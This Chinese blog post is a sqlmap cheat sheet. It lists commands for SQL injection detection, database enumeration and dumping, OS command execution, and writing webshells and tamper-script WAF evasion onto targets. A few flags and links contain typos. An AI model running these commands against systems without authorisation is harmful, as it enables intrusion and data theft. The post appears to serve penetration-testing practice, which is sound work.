环境:python
工具下载地址:sqlmap.org
SqlMap是我们常用的一款sql注入漏洞检测工具,为了方便大家平时的使用,在此分享一下我总结的一下命令。
目录结构:
extra:额外功能
lib:连接库,注入参数,提权操作
tamper:绕过脚本
thirdparty:第三方插件
txt:字典,例如浏览器代理,表,列,关键字
udf:自定义攻击载荷
waf:常见防火墙特征--identify-waf
常用命令:
1.注入检测方式:
代码语言:javascript复制get方式:sqlmap.py -u "URL"
post方式:sqlmap.py -u "URL" -date "post数据"
cookie方式:sqlmap.py -u "URL" -cookie "cookie数据"
2.获取数据库信息
代码语言:javascript复制获取数据库类型以及版本:sqlmap.py -u "URL"
获取网站使用的数据库名和用户名:sqlmap.py -u "URL" --current-db
sqlmap.py -u "URL" --current-user
3.获取数据量和用户权限
代码语言:javascript复制获取数据库的数据量:sqlmap.py -u "URL" --count -D "数据库名"
判断用户权限:sqlmap.py -u "URL" --privileges
4.Mysql注入
Mysql结构:库-表-列-数据(字段内容)
注入顺序:
代码语言:javascript复制首先获取当前库名:sqlmap.py -u "URL" --current-db
其次获取库中表名:sqlmap.py -u "URL" --tables -D "数据库名"
然后获取库中某个表的列名:sqlmap.py -u "URL" --columns -T "表名" -D "库名"
最后获取库中某个表名的某个列名的字段内容:sqlmap.py -u "URL" --dump -C "列名" -T "表名" -D "库名"
5.管理数据库
代码语言:javascript复制连接数据库:sqlmap.py -d "mysql://用户名:密码@地址:端口/数据库名"(需安装pymysql:https://girhub/pymysql/pymysql)
执行sql命令:sqlmap.py -d "mysql://用户名:密码@地址:端口/数据库名" --sqlshell
6.延时注入
针对页面无变化,无法用布尔真假判断,无法报错的情况下注入。
代码语言:javascript复制sqlmap.py -u "URL" --delay 数字值(秒为单位)
sqlmap.py -u "URL" -safe-freq
7.交互式命令执行和写Webshell
代码语言:javascript复制命令执行:sqlmap.py -u "URL" --os-cmd="命令"
Webshell:sqlmap.py -u "URL" --os-shell
8.Tamper脚本
代码语言:javascript复制sqlmap.py -u "URL" --tamper="脚本名字"
9.本地写入Webshell
代码语言:javascript复制sqlmap.py -u "URL" --file-write "本地文件路径" --file-dest "目标文件路径"
10.批量检测注入漏洞
代码语言:javascript复制sqlmap.py -m 本地文件路径
结合BurpSuite:sqlmap.py -l 本地文件路径 --batch -smart
//batch:自动选择yes,smart:启发式快速判断
代码语言:javascript复制--proxy="http://ip:8080" //浏览器代理
--level=(1-5) //测试水平等级
--risk=(0-3) //风险等级
未完,不断更新中!
本文链接:https://cloud.tencent.com/developer/article/2359323
天乐原创文章,转载请注明出处!